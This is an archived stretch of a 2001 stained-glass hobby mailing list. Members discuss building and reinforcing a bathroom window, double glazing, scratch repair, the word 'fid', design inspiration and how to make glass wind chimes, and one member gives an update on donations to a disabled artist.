>  I believe the window is 24"x30"..  How do you protect it from the normal
>  moist associated with bathrooms?  
>  
>  don't frame it in air tight. leave top and bottom holes so condensation 
will
>  evaporate
>  
>  Is there a book that will answer these and other questions regarding the
>  construction of stained glass windows?  My local supplier will not answer
>  questions unless you are presently enrolled in one of his classes.  He said
>  that that is his way of making money not by selling the supplies which he
>  also does with a great mark-up.
>  
>  find a new supplier or do your shopping on the net. vote on his policies
>  with your wallet.
>  ----
>  For subscription changes, please mail to: glass-request@bungi.com
>  To send to the list,      please mail to: glass@bungi.com
>  Archives available at http://www.bungi.com/glass
>  
>  
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From owner-glass Fri Feb  9 12:38:11 2001
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From: himest@juno.com
To: glass@bungi.com
Content-Type: text/plain; charset=us-ascii
Subject: how to smooth a scratch
Date: Fri, 9 Feb 2001 14:03:24 -0600
Message-ID: <1970Jan1.000.0>
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Question - I have a glass piece that received some minor scratches (not
scores) and was wondering if anyone knew of a product or method to smooth
out the scratches of a perfectly good piece of glass.

Thanks, Teresa in Texas
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From owner-glass Fri Feb  9 13:30:52 2001
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X-Path: verrier-scotland.demon.co.uk!s.richard
From: Steve Richard <s.richard@verrier-scotland.demon.co.uk>
To: Rita Kimmons <Mommabear776@hotmail.com>
Content-Type: text/plain;charset=iso-8859-1
Subject: Re: Bathroom window
Date: Fri, 9 Feb 2001 21:04:38 +0000
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0@?>>
Precedence: bulk

Actually, Rita, your local supplier has a point.  The considerations in
building a window are various and do take time to learn.  You may find
it worthwhile to take the course - but making sure that s/he will be
covering the elements you need.

A window can be done in foil, many have done it.  I don't, but then I am
a traditionalist.  (Also you will find the window lighter without all
those pounds of solder.  It will be cheaper to make using lead than
solder, too)  If the window you are building is the primary glazing, it
does need reinforcement with saddle bars, round or square, tied to the
window with copper ties at each intersection of the beads.  One (or two
bars, if in an exposed position) horizontal bars will be needed.  The
bars can be bent to follow the lines of the window.

If it is secondary glazing you may be able to get away with lots of
strong line.

Ventilation is the main method of coping with condensation in bathrooms.
The windows are less affected by frequent wetting followed by dry, than
by constant moisture.  So a good ventilation system for the bathroom is
needed.  This might be open doors or windows, or fan assisted
ventilation.

I also understand about mark-up.  Every body else's mark-up is
excessive; my own mark-ups are reasonable.  I still think classes are
sensible.  This isn't an instantly learned craft.  In the days of
apprenticeships, it could easily take 7 years to become competent.  At
twice that amount of time, I am still learning.

Steve


In message <1970Jan1.000.0@?>, Rita Kimmons <Mommabear776@hotmail.com>
writes
>    I have never constructed a window before and was wondering is there 
>    any special consideration in making a bathroom window? I work in 
>    copper foil.  Can a bathroom window be done in foil or does it have 
>    to be leaded? I know that depending on the dimensions it has to be 
>    reinforced.  Can I use just the reinforcing stripping that goes 
>    between the seams or do I have to use rebar? I believe the window 
>    is 24"x30"..  How do you protect it from the normal moist 
>    associated with bathrooms?  Is there a book that will answer these 
>    and other questions regarding the construction of stained glass 
>    windows?  My local supplier will not answer questions unless you 
>    are presently enrolled in one of his classes.  He said that that is 
>    his way of making money not by selling the supplies which he also 
>    does with a great mark-up.

-- 
Steve Richard
Verrier Art Glass Ltd
s.richard@verrier-scotland.demon.co.uk
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From owner-glass Fri Feb  9 15:09:22 2001
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X-Path: northlights.co.uk!toby
From: "Toby" <toby@northlights.co.uk>
To: glass@bungi.com
Content-Type: text/plain; charset=US-ASCII
Subject: sort of glass.....Sort of up-date
Date: Fri, 9 Feb 2001 22:38:24 -0000
Message-ID: <200102092254.f19MsWt30520@mercury.nildram.co.uk>
Precedence: bulk

Dear Bungi Friends,

I have had to resort of "lurker-dom" this last year. Only pop my 
head up now and then.
Must admit though.... don't find the same old "spark" in Bungi 
these days. ... rather quiet.
I myself am finally catching up on a lot of back-log of commissions -
 some of them dating back almost 3 years now. Last weekend I 
managed to complete and install 4 large panels...... only about 
another 14 to go........

My constant reminder of You All,  is Meric Monterey ... who is a 
total delight!! He is a daily reminder of the wonderful days, 
moments I have spent with so many of you.... (...and yes... I 
haven't forgotten!!). Meric and Toby are inseparably and give us 
tremendeous amount of pleasure. Meric will soon be 18 months old.

Another thing that I would like to update on is Lee (Laylah) Boe.
First of all,....
I cannot thank you enough for all your help, words of support and 
help to Lee. I am speechless.
I have tried to keep up with people who have been in contact with 
me.... but not always managed to follow up. I have impressed on 
Lee the importance of keeping records, which she has done.
Her records - however - have been part and parcel of her moving 
about and not having a stable point or living quarter for the last few 
months. I have also felt a little hampered by not wishing to mention 
anyone's name in public.... or to match up the wrong name with the 
wrong piece of communication and financial gift to Lee.
The largest financial help Lee received was a cheque for 750 dollars 
from someone I still have to trace. She has kept the record of it, 
but that is still amongst her secure storage facilities. I have an 
inkling of who this might be, but I still want to see the the evidence.
Thank you, thank you, thank you.

The other day, I received a whole lot of photocopies from Lee by 
snail-mail of donations and letters YOU have sent her. Let me 
assure you - Lee will write to every single one of you! It won't be 
today or tomorrow..... it will take some time.....as she gets herself 
sorted out.

When Lee finally managed to disassociate herself from the so 
called "nursing home"and get herself back to Sarasota, she spent 
Christmas in borrowed accommodation with nothing more than the 
clothes she stood in. With the help you have given her, she has 
managed to pay off her debts to the storage facilities company, got 
most of her tools back, her computer and is on the way to get 
herself sorted out. Christmas - she spent enjoying a Salvation 
Army Christmas Dinner splash. I have seen the letters some of you 
sent......I myself together with Jenny  cut our own Christmas 
spending down here in UK in order to send Lee some money....
You were wonderful!!! You certainly rallied round and gave someone 
a hope for the future!!
WOW!!!
Lee is not yet hooked on to e-mail (still on the Public Library 
system). But don't forget one thing.... it might take us abled bodied 
people a day to do something.... someone who is disabled will 
think it's an enormous achievement to to do the same thing in a 
month..... or whatever.

However, she DOES now have her own snail mail address:
Lee (Laylah) Boe
P.O. Box 50573
Sarasota
Florida 34243

I have her phone number and speak to her regularly, but I cannot 
give this out elsewhere. It's not her phone, and I know the 
perimeters of when and how to call.

I just want you All to know about Lee and what your help has done 
and resulted in. Lee is a very talented stained glass artist, but she 
is also severly disabled. Her next step is trying to secure a 1-
person apartment where she can bring in all the gear for her 
stained glass and glass bead manufacturing (gas bottles etc.) She 
has applied for 3 different apartments these last few weeks. Time 
only will tell if she gets one of them or if another one turns up - just 
as suitable for her disability and glass needs.

Lee's Public Library e-mail address is 
Leelaylah997@hotmail.com

Please  bear in mind that she may only have a limited time 
available to her in receiving and sending e-mails on the Public 
Library system........


As soon as she is hooked up on her own account..... I will be the 
first one to tell you all about it. And it will be ALL thanks to YOU!!!!!

Elisabeth 'n Toby will now disappear for a few days back to 
"lurkerdom"..... Though there IS another project brewing and 
bubbling from this corner that is about to arupt in a week or so.
Anyone about?????

Elisabeth 'n Toby in UK ('n still illiterate Meric)
----
As my grandmother said "...there is only nobility of mind"
North Lights Stained Glass - homepage
http://www.netlink.co.uk/users/kris/northlights/index.htm 
----
----
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From owner-glass Fri Feb  9 16:08:58 2001
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X-Path: home.com!esavad
From: "Mike Savad" <esavad@home.com>
To: <himest@juno.com>,
Content-Type: text/plain;
Subject: RE: how to smooth a scratch
Date: Fri, 9 Feb 2001 18:56:10 -0500
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Precedence: bulk

go to my tips section http://www.geocities.com/Paris/1141/ i have a thing
just on fixing scratched glass... it's fairly complete.


---Mike Savad


---
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Contains a wealth of stained glass information, stained glass tips, stained
glass instruction, and many, many stained glass links.
---
11-7-00 - New Stuff Added: How to solder a nice bead, and several new
projects. You can now search my site with a built in engine.

> -----Original Message-----
> From: himest@juno.com [mailto:himest@juno.com]
> Sent: Friday, February 09, 2001 3:03 PM
> To: glass@bungi.com
> Subject: how to smooth a scratch
>
>
> Question - I have a glass piece that received some minor scratches (not
> scores) and was wondering if anyone knew of a product or method to smooth
> out the scratches of a perfectly good piece of glass.
>
> Thanks, Teresa in Texas
> ----
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Suzanne,  Thank you.
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I am sorry to send this to the list but 
my other attempts keep bouncing back. Please unsub me from this list. Thanks, 
Gaye

 

 

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From owner-glass Sat Feb 10 08:33:28 2001
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From: Steve Richard <s.richard@verrier-scotland.demon.co.uk>
To: CncptThnkr@aol.com
Subject: Re: origin of the word fid and asking for suggestions on a project
Date: Fri, 9 Feb 2001 19:45:42 +0000
Message-ID: <1970Jan1.000.0>
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In message <1970Jan1.000.0@?>, CncptThnkr@aol.com writes
>Hello all,
>
>I am trying to determine the origin of the word fid.  As far as I've tracked 
>it down it was an old nautical tool used for splicing ropes.  Is the fid used 
>in stained glass a relative?  Anyone know where the word originated?   
>
I agree on the nautical connection.  the Oxford English Dictionary which
is concerned with the origins of words defines  a fid as a conical pin
of hard wood, used to open the strands of a rope in splicing. (dating
from at least 1615)  My first instructor's fid was exactly like this
definition.

>
...cut...
>I'm working on glass again, taking a class at the local college to kick 
>myself back into it.  We need to design a panel using a work of art as the 
>basis.  I seem drawn to cityscapes and bridges....any suggestions on a work 
>of art that would translate nicely?  The biggest problem I am finding with 
>the bridges and buildings is the thought of tying them into the sky.  I dread 
>all the break lines/solder lines it's going to cause...maybe a narrow foil 
>would not interrupt the sky as badly.   I'm also leaning towards art 
>deco....so many choices such difficult decisions.

I suggest using some of the early Braque paintings.  Lots of
intersecting lines, an art deco feel, although it is the early cubist
movement.  In fact, Braque probably was the person who interested
Picasso in cubism.  They were friends in Paris, both Spanish.  Certainly
Braque started a little earlier than Picasso in the cubist vein.  Get a
copy of one of the books on Braque and you will see the many
possibilities.  The later works are much more difficult to translate.

Steve

-- 
Steve Richard
Verrier Art Glass Ltd
s.richard@verrier-scotland.demon.co.uk
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Subject: Facial features  on Tiffany Garden angel steppig stone. 
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Could someone advise me as to how I can apply  the facial features onthe
garden angel.     I experimented with etching it on with Dremel tool but
did ot like the effect. How would waterproof paint be.   Thank you for
any help.                                       Regards    Patty


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Please unsubscribe me.  Thank you!

 

Carol DeLong

crystalangl@earthlink.net 

http://home.earthlink.net/~crystalangl 

Stained Glass For Every Budget

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From owner-glass Sat Feb 10 12:20:44 2001
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From: Gillian Higson <tandg.higson@sympatico.ca>
To: Rita Kimmons <Mommabear776@hotmail.com>
Content-Type: multipart/alternative;
Subject: Re: Bathroom window
Date: Sat, 10 Feb 2001 15:13:23 -0600
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--------------400BEE9CF5A33F9F02AFBE5C
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Hi Rita
If I was doing a window that size I would restrip and rebar.  Some
craftspeople are very stingy about giving advice , don't you think? I
like to help people who are having problems with some aspect of glass,
whether they are newbies or otherwise.  I must say that the shopowner
where I buy most of my supplies is very generous with his advice whether
I have made a purchase or not.
Regards
Gillian

Rita Kimmons wrote:

> I have never constructed a window before and was wondering is there
> any special consideration in making a bathroom window? I work in
> copper foil.  Can a bathroom window be done in foil or does it have to
> be leaded? I know that depending on the dimensions it has to be
> reinforced.  Can I use just the reinforcing stripping that goes
> between the seams or do I have to use rebar? I believe the window is
> 24"x30"..  How do you protect it from the normal moist associated with
> bathrooms?  Is there a book that will answer these and other questions
> regarding the construction of stained glass windows?  My local
> supplier will not answer questions unless you are presently enrolled
> in one of his classes.  He said that that is his way of making money
> not by selling the supplies which he also does with a great mark-up.

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<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
<body bgcolor="#FFFFFF">
Hi Rita
<br>If I was doing a window that size I would restrip and rebar.&nbsp;
Some craftspeople are very stingy about giving advice , don't you think?
I like to help people who are having problems with some aspect of glass,
whether they are newbies or otherwise.&nbsp; I must say that the shopowner
where I buy most of my supplies is very generous with his advice whether
I have made a purchase or not.
<br>Regards
<br>Gillian
<p>Rita Kimmons wrote:
<blockquote TYPE=CITE><style></style>
<font face="Arial"><font size=-1>I
have never constructed a window before and was wondering is there any special
consideration in making a bathroom window? I work in copper foil.&nbsp;
Can a bathroom window be done in foil or does it have to be leaded? I know
that depending on the dimensions it has to be reinforced.&nbsp; Can I use
just the reinforcing stripping that goes between the seams or do I have
to use rebar? I believe the window is 24"x30"..&nbsp; How do you protect
it from the normal moist associated with bathrooms?&nbsp; Is there a book
that will answer these and other questions regarding the construction of
stained glass windows?&nbsp; My local supplier will not answer questions
unless you are presently enrolled in one of his classes.&nbsp; He said
that that is his way of making money not by selling the supplies which
he also does with a great mark-up.</font></font></blockquote>

</body>
</html>

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From owner-glass Sat Feb 10 12:33:43 2001
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From: Bobfuses@aol.com
To: captjonmisspat@webtv.net, glass@bungi.com
Content-Type: multipart/alternative; boundary="part1_b5.6ea0979.27b6f537_boundary"
Subject: Re: Facial features  on Tiffany Garden angel steppig stone. 
Date: Sat, 10 Feb 2001 14:49:11 EST
Message-ID: <1970Jan1.000.0>
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In a message dated 2/10/01 10:08:52 AM Pacific Standard Time, 
captjonmisspat@webtv.net writes:


> Could someone advise me as to how I can apply  the facial features onthe
> garden angel.  I experimented with etching it on with Dremel tool but
> did not like the effect. How would waterproof paint be?  Thank you for
> any help.                                       Regards    Patty
> 
> 
> 
You might rough up the glass surface with the Dremel and then apply the 
paint. It should then hold well.

Cheers, Bob in 9 2 0 2 6

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<HTML><FONT FACE=arial,helvetica><FONT  SIZE=2><B>In a message dated 2/10/01 10:08:52 AM Pacific Standard Time, 
<BR>captjonmisspat@webtv.net writes:
<BR>
<BR></B>
<BR><BLOCKQUOTE TYPE=CITE style="BORDER-LEFT: #0000ff 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: 0px; PADDING-LEFT: 5px">Could someone advise me as to how I can apply &nbsp;the facial features onthe
<BR>garden angel. &nbsp;I experimented with etching it on with Dremel tool but
<BR>did not like the effect. How would waterproof paint be? &nbsp;Thank you for
<BR>any help. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Regards &nbsp;&nbsp;&nbsp;Patty
<BR>
<BR>
<BR></BLOCKQUOTE>
<BR><B>You might rough up the glass surface with the Dremel and then apply the 
<BR>paint. It should then hold well.
<BR>
<BR>Cheers, Bob in 9 2 0 2 6</B></FONT></HTML>

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From: "robertcbullock" <robertcbullock@enterprise.net>
To: <glass@bungi.com>
Content-Type: multipart/alternative;
Subject: Re: Bathroom Window.
Date: Sat, 10 Feb 2001 22:13:26 -0000
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Hi Rita,

A solution to your project may be to install the panel inside a double =
glazed unit.
This removes the problem of reinforcement, at the same time sealing the =
panel from any moisture, while enhancing the thermal efficiency of the =
window, if situated in an outside wall.
If you require graeter details let me know.

Regards.

Robert.

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<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT size=3D2>Hi Rita,</FONT></DIV>
<DIV><FONT size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT size=3D2>A solution to your project may be to install the =
panel inside=20
a double glazed unit.</FONT></DIV>
<DIV><FONT size=3D2>This removes the problem of reinforcement, at the =
same time=20
sealing the panel from any moisture, while enhancing the thermal =
efficiency of=20
the window, if situated in an outside wall.</FONT></DIV>
<DIV><FONT size=3D2>If you require graeter details let me =
know.</FONT></DIV>
<DIV><FONT size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT size=3D2>Regards.</FONT></DIV>
<DIV><FONT size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT size=3D2>Robert.</FONT></DIV></BODY></HTML>

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From owner-glass Sat Feb 10 16:29:41 2001
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From: JAS618@aol.com
To: glass@bungi.com
Content-Type: text/plain; charset="US-ASCII"
Subject: wind chimes
Date: Sat, 10 Feb 2001 19:00:38 EST
Message-ID: <1970Jan1.000.0>
Precedence: bulk

i would like to find instructions in how to make the glass chimes i remember 
from my youth.  they sold at woolworths were made in china or japan and were 
rectangle pieces of glass hung by red string with red tassels.  can you help? 
 or do you know where i can go to find help?  many thanks j a sweeney
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From owner-glass Sat Feb 10 18:43:47 2001
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From: "robertcbullock" <robertcbullock@enterprise.net>
To: <glass@bungi.com>
Content-Type: text/plain;
Subject: Re:Bathroom Window.
Date: Sun, 11 Feb 2001 02:23:11 -0000
Message-ID: <1970Jan1.000.0>
Precedence: bulk

Hi Suzanne,
I agree that from the outside the glass does reflect and tend to obscure the
panel, but from the inside, which is where the panel is observed, the glare
effect is negligable.
The cost of double glazing is not expensive and as the panel does not
interfere with the integrity of the unit any reputable firm will have no
trouble with guarantee.
Get to know your glazier and talk to them. I have installed many lead lights
into double glazed units over the past fifteen years and have never had any
problems.
I can only give advice based on my past experience, which includes
installing stained glass in bathrooms.

Regards.

Robert.

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From owner-glass Sat Feb 10 20:04:27 2001
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From: Suzanne Gunn <gunnx4@dellepro.com>
To: robertcbullock <robertcbullock@enterprise.net>
Content-Type: text/plain; charset=us-ascii
Subject: Re: Bathroom Window.
Date: Sat, 10 Feb 2001 21:47:22 -0600
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Organization: glassdancer
Precedence: bulk

Hiya Robert.

Are we talking about the same thing?
Im talking sandwiched between two panes of tempered glass with the black
junk sealing it all?  

The company in my city that will do the insulating is over $100 per
panel, and will not guarantee.  More than a few times they've messed up
and we have to pay them to do it again. We use them because we have no
other choice when the client insists on insulated panels.  Lately we've
been discouraging it.

Now with the gas prices sky rocketed, will be interesting to see what it
does to sales.  We do mostly doors, sidelights and transoms.  At every
show people always ask about the heat/cool loss, and how easy is it to
break into the door because it's glass.

They don't realize how hard it would be to break into a door made out of 
bevels and brass came!!  I'd sure not want to attempt it. ;o)

As far as the glare, you are right, I was talking about from the street.

Suzanne

robertcbullock wrote:
> 
> Hi Suzanne,
> I agree that from the outside the glass does reflect and tend to obscure the
> panel, but from the inside, which is where the panel is observed, the glare
> effect is negligable.
> The cost of double glazing is not expensive and as the panel does not
> interfere with the integrity of the unit any reputable firm will have no
> trouble with guarantee.
> Get to know your glazier and talk to them. I have installed many lead lights
> into double glazed units over the past fifteen years and have never had any
> problems.
> I can only give advice based on my past experience, which includes
> installing stained glass in bathrooms.
> 
> Regards.
> 
> Robert.
> 
> ----
> For subscription changes, please mail to: glass-request@bungi.com
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From owner-glass Sat Feb 10 20:21:31 2001
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From: "Bev Kelly" <till8er@alimac.com>
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Subject: Re: Unsub
Date: Sat, 10 Feb 2001 19:54:46 -0800
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
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I have a co-worker that is looking for 7 inch long high heal "glass
slippers" for her wedding center pieces.  Any suggestions.

Thanks

Bev


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From owner-glass Sat Feb 10 21:27:51 2001
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X-Path: home.com!cecnralph
From: Cecily & Ralph Wood <cecnralph@home.com>
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Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854"; x-mac-creator="4D4F5353"
Subject: Re: origin of the word fid and asking for suggestions on a project
Date: Sat, 10 Feb 2001 23:48:28 -0500
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Organization: Grendel Studio
Precedence: bulk

You could go way cubist...there is that Mondrian painting entitled Manhatten.

Or maybe the top of the Chrysler Building in New York...?  Very Art Deco, very
identified with New York.  As far as sky - how do you show smog?

Maybe a Georgia O'Kieffe - Petunias, or one of the other flower paintings.  Well
- heck - try a cow skull, for that matter. - Cec

>
> ...cut...
> >I'm working on glass again, taking a class at the local college to kick
> >myself back into it.  We need to design a panel using a work of art as the
> >basis.  I seem drawn to cityscapes and bridges....any suggestions on a work
> >of art that would translate nicely?  The biggest problem I am finding with
> >the bridges and buildings is the thought of tying them into the sky.  I dread
> >all the break lines/solder lines it's going to cause...maybe a narrow foil
> >would not interrupt the sky as badly.   I'm also leaning towards art
> >deco....so many choices such difficult decisions.
>
> I suggest using some of the early Braque paintings.  Lots of
> intersecting lines, an art deco feel, although it is the early cubist
> movement.  In fact, Braque probably was the person who interested
> Picasso in cubism.  They were friends in Paris, both Spanish.  Certainly
> Braque started a little earlier than Picasso in the cubist vein.  Get a
> copy of one of the books on Braque and you will see the many
> possibilities.  The later works are much more difficult to translate.

--
*********************************************************************
*  Cecily Taylor Cummings Wood  and/or  Ralph Bernard Wood
*  Grendel Studio (Glass, Graphics, Gardens, Genealogy)
*********************************************************************


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From owner-glass Sat Feb 10 22:57:59 2001
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From: Cecily & Ralph Wood <cecnralph@home.com>
To: JAS618@aol.com, Bungi Glass <glass@bungi.com>
Content-Type: text/plain; charset=iso-8859-1; x-mac-type="54455854"; x-mac-creator="4D4F5353"
Subject: Re: wind chimes
Date: Sun, 11 Feb 2001 01:33:09 -0500
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Organization: Grendel Studio
Precedence: bulk

Funny you should ask that because I too remember them and they made the lightest
sweetest tinkle and chime in a small breeze.  I figured they no longer made
them.  However, to my delight, last summer I found some in an Asian import store
in Ventura CA - just as I remember, but I think the quality may have suffered.
I got one, and by the time I got it home and untangled, some of the glass had
already detatched from the assembly, because the string was simply glued onto
the glass with a small piece of gold foil, and probably an animal glue since it
gives way in damp weather.

I have taken a rather poor jpeg photo of it with my birthday toy - the cheapest
digital camera you can buy, and will send it to anyone who wants it.

It uses red thread - actually string, and fairly fine.  It has two circlets of
some silvery metal - really fairly thin and bendy - almost a heavy foil, and I
suspect the only reason they stay in a circle is the weight of the glass pulling
the strings, which are equadistant on each circle tends to push it inward
equally, so it just barely misses collapsing.

The thread is tied to the circles and extends above and below.  The threads
extending up are gathered at a certain distance, braided, and form a loop for
hanging.  The threads extending below each ring are glued to the various glass
pieces.  There is a center thread which is not tied to either ring, is the
longest, has a single glass piece, and then shortly below that a red cardboard
sail.  The smaller ring is suspended higher than the larger outer ring, but the
inside ring has longer threads extending below and pasted to glass pieces, than
does the larger outer ring.

Here are the dimensions - partly in centimeters and partly in inches.  I
apologize, but I am short, the thing is hanging quite a bit over my head, and I
was using a small plastic T-square to measure.

First the glass pieces:  there are three shapes, and you want to use normal
lightweight window glass.

There are 11 squares, 4 cm on a side.
There are 4 long rectangles, 3 cm wide and about 12 cm long - to hang on the
higher smaller ring.
There are 6 rectangles 3 cm wide and 5 1/2 inches long - to hang on the lower
outer ring.

These glass pieces are painted, and I cannot tell if it is cold paint; or the
kind where you heat it to about 300ș F - in your kitchen oven; or if it is real
enamal fired in a kiln.  I suspect not fired, since these are obviously made a
cheaply as possible.  The colors are a nice bright red, bright green and bright
blue, and occasionally they are shaded into each other on the longer pieces.
Dots, lines, swoops, in small and regular patterns.

The rectangles are alternated with the squares which are hung from a corner,
thus diamonds.  The top of the rectangles are at the same distance from the ring
as the corners of the squares.  Remember the outer ring, even though lower, has
the highest glass pieces.  The inner ring has somewhat lower glass pieces, and
the certer thread has the lowest piece, and also the sail.  The idea is for the
inner glass pieces to be just high enough to catch and bang against the bottom
of the higher outer ring.  So they overlap a small bit.  Then the single center
glass piece is also just above the bottom of the inner longer pieces so it too
can catch and bang into those pieces.  The sail below is to catch the wind
(gently) and set the whole thing in motion.  The sail is 2 cm wide, and 3 inches
long, and a very light cardboard - similar to the boxes envelops come in, or
cookies and crackers.

Here are the dimensions for the thread/string:

The braided, gathered area is about 1 1/2 inches long, with a loop for hanging
at the top.
The center thread from the gathered place above to the top of the square
(diamond) glass is 7 1/2 inches, and from the bottom of the glass to the sail is
2 1/2 cm.
The inner thread  is 2 inches to the top small ring, and 4 1/2 inches to the top
of the glass.  There are 8 threads attached to the top ring.
The outer thread is 3 3/4 inches to the bottom larger ring, and 1 1/2 inches to
the top of the glass, and there are 12 threads attached to the outer ring.

The threads on each ring have to be evenly distributed, or the rings will tend
to collapse, and anyway, they must be balanced because this is, in essence, a
(Calder) mobile.  Unless the rings remain horizontal, the glass pieces will not
be positioned correctly to hit each other and chime.

As I said, the threads are just glued to a tiny foil sticker which is glued to
the glass, and not very well at that.  I tried foil press-apply dots, and that
is a tiny bit better, but the pieces keep falling and my husband puts them back
with household glue (Dupont cement, I think).  A glue gun might be a better.

So - I hope you aren't sorry you asked!  Probably more than you ever wanted to
know about Chinese wind chimes?  Anyway, if you want a really bad photo (my toy
has no focus other than infinity, not much resolution, but it's fun) I'll be
glad to send you one. - Cec

JAS618@aol.com wrote:

> i would like to find instructions in how to make the glass chimes i remember
> from my youth.  they sold at woolworths were made in china or japan and were
> rectangle pieces of glass hung by red string with red tassels.  can you help?
>  or do you know where i can go to find help?  many thanks j a sweeney
> ----
> For subscription changes, please mail to: glass-request@bungi.com
> To send to the list,      please mail to: glass@bungi.com
> Archives available at http://www.bungi.com/glass

--
*********************************************************************
*  Cecily Taylor Cummings Wood  and/or  Ralph Bernard Wood
*  Grendel Studio (Glass, Graphics, Gardens, Genealogy)
*********************************************************************


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From owner-glass Sun Feb 11 09:33:04 2001
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X-Path: arrakis.es!kiram
From: "Kira Mason" <kiram@arrakis.es>
To: "bungi" <glass@bungi.com>
Subject: RE: Re:Bathroom Window.
Date: Sun, 11 Feb 2001 18:22:02 +0100
Message-ID: <1970Jan1.000.0>
Precedence: bulk

Once again, I have to agree with the below mentioned.  Taking about glare, I
tend to think one of the origional things about these (any stained glass) is
that, during the day the person on the inside enjoys them and at night the
people on the outside.
As to the expenses, we were already having new windows put in our house,
which we were completely re-doing, we were not charged anything over and
above the normal cost of having an extra element added to the window we did
have stained glass added to.
Kira
-----Mensaje original-----
De: robertcbullock <robertcbullock@enterprise.net>
Para: glass@bungi.com <glass@bungi.com>
Fecha: domingo 11 de febrero de 2001 3:44
Asunto: Re:Bathroom Window.


>Hi Suzanne,
>I agree that from the outside the glass does reflect and tend to obscure
the
>panel, but from the inside, which is where the panel is observed, the glare
>effect is negligable.
>The cost of double glazing is not expensive and as the panel does not
>interfere with the integrity of the unit any reputable firm will have no
>trouble with guarantee.
>Get to know your glazier and talk to them. I have installed many lead
lights
>into double glazed units over the past fifteen years and have never had any
>problems.
>I can only give advice based on my past experience, which includes
>installing stained glass in bathrooms.
>
>Regards.
>
>Robert.
>
>----
>For subscription changes, please mail to: glass-request@bungi.com
>To send to the list,      please mail to: glass@bungi.com
>Archives available at http://www.bungi.com/glass


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From owner-glass Sun Feb 11 10:11:42 2001
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X-Path: arrakis.es!kiram
From: "Kira Mason" <kiram@arrakis.es>
To: "bungi" <glass@bungi.com>
Subject: RE: Re:Bathroom Window.
Date: Sun, 11 Feb 2001 18:22:02 +0100
Message-ID: <1970Jan1.000.0>
Precedence: bulk

Once again, I have to agree with the below mentioned.  Taking about glare, I
tend to think one of the origional things about these (any stained glass) is
that, during the day the person on the inside enjoys them and at night the
people on the outside.
As to the expenses, we were already having new windows put in our house,
which we were completely re-doing, we were not charged anything over and
above the normal cost of having an extra element added to the window we did
have stained glass added to.
Kira
-----Mensaje original-----
De: robertcbullock <robertcbullock@enterprise.net>
Para: glass@bungi.com <glass@bungi.com>
Fecha: domingo 11 de febrero de 2001 3:44
Asunto: Re:Bathroom Window.


>Hi Suzanne,
>I agree that from the outside the glass does reflect and tend to obscure
the
>panel, but from the inside, which is where the panel is observed, the glare
>effect is negligable.
>The cost of double glazing is not expensive and as the panel does not
>interfere with the integrity of the unit any reputable firm will have no
>trouble with guarantee.
>Get to know your glazier and talk to them. I have installed many lead
lights
>into double glazed units over the past fifteen years and have never had any
>problems.
>I can only give advice based on my past experience, which includes
>installing stained glass in bathrooms.
>
>Regards.
>
>Robert.
>
>----
>For subscription changes, please mail to: glass-request@bungi.com
>To send to the list,      please mail to: glass@bungi.com
>Archives available at http://www.bungi.com/glass


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From owner-glass Sun Feb 11 11:31:16 2001
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From: "Kira Mason" <kiram@arrakis.es>
To: "bungi" <glass@bungi.com>
Subject: RE: Bathroom Window.
Date: Sun, 11 Feb 2001 18:18:23 +0100
Message-ID: <1970Jan1.000.0>
Precedence: bulk

T
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From owner-glass Sun Feb 11 12:46:56 2001
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From: "robertcbullock" <robertcbullock@enterprise.net>
To: <glass@bungi.com>
Content-Type: text/plain;
Subject: Re: Bathroom Window.
Date: Mon, 12 Feb 2001 20:16:36 -0000
Message-ID: <1970Jan1.000.0>
Precedence: bulk

Hi Suzanne,

Double glazing here (UK)  is made using 4mm float glass and costs, at the
most, $90 per square metre (over 10 sq. feet) .
Sounds like you are being charged excessively!

Regards,
Robert.

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From owner-glass Sun Feb 11 18:03:20 2001
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From: Cecily & Ralph Wood <cecnralph@home.com>
To: Bungi Glass <glass@bungi.com>
Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854"; x-mac-creator="4D4F5353"
Subject: Motor home window
Date: Sun, 11 Feb 2001 17:31:56 -0500
Message-ID: <1970Jan1.000.0>
Organization: Grendel Studio
Precedence: bulk

Oopsie for the reply on bathrooms - I hit reply instead of new message
and then hit send instead of quit.

Now - the person who wanted a window in her motor home.  I assume she
wants it in front of a window?  So you would put hooks in above the
window and suspend it with chain?  Why not also put hooks below the
window, through chain at the bottom?  I did something similar using
clear fishing line so suspend a sun catcher in front of our front door,
and it worked for years (til I got tired of the suncatcher and got rid
of it).

Then you could also get the press apply clear plastic bumpers - tiny or
bigger ones are now available, and place those on the back of the frame
so if the frame did contact the window, it wouldn't harm it.  These
bumpers are available at framing shops as wall protection, and I've
found them at Home Depot and at Lowes, as well.  (Those are big
lumber/hardware/tool supply places, for those not in the US)

--
*********************************************************************
*  Cecily Taylor Cummings Wood  and/or  Ralph Bernard Wood
*  Grendel Studio (Glass, Graphics, Gardens, Genealogy)
*********************************************************************


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From owner-glass Mon Feb 12 15:52:54 2001
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From: "Jerri" <pigznpawz@mindspring.com>
To: <glass@bungi.com>
Content-Type: text/plain;
Subject: glass sale
Date: Mon, 12 Feb 2001 18:42:16 -0500
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For anyone that has access to a Hobby Lobby, their stained glass is 1/2 off
this week.  They don't have a great selection, just Spectrum, but I can
always find a few sheets that I want, and the prices are good.

Jerri
www.beadbimbo.com

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From owner-glass Mon Feb 12 19:02:36 2001
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References: <<1970Jan1.000.0>>
